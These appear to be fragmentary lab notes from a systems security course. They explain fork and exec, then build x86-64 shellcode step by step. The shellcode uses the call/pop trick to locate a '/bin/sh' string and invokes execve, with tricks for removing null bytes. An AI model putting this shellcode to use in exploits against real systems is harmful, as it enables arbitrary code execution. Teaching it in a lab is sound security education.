$\require{cancel}$
fork
creates a new copy of the currently running process
exec
runs a different program in the current process.
objdump -d file
xxd -p -20 file
const char * argv[]
two
two: call one db "/bin/sh",0 db "aaaaaaaa" db "aaaaaaaa"
one
will be a function that sets up for the system call.
call one
pop rbx
mov [rbx+8], rbx mov rax, 0 mov [rbx+16], rax
mov rdi, rbx lea rsi, [rbx+8] mov rdx, 0 mov rax, 59 syscall
--omagic
objdump -d labCode.o
mov rax, 0
xor rax, rax
pop rbx xor rax,rax mov [rbx+7],al ... db "/bin/sh",0xff
;mov eax, 59 xor eax, eax sub eax, -59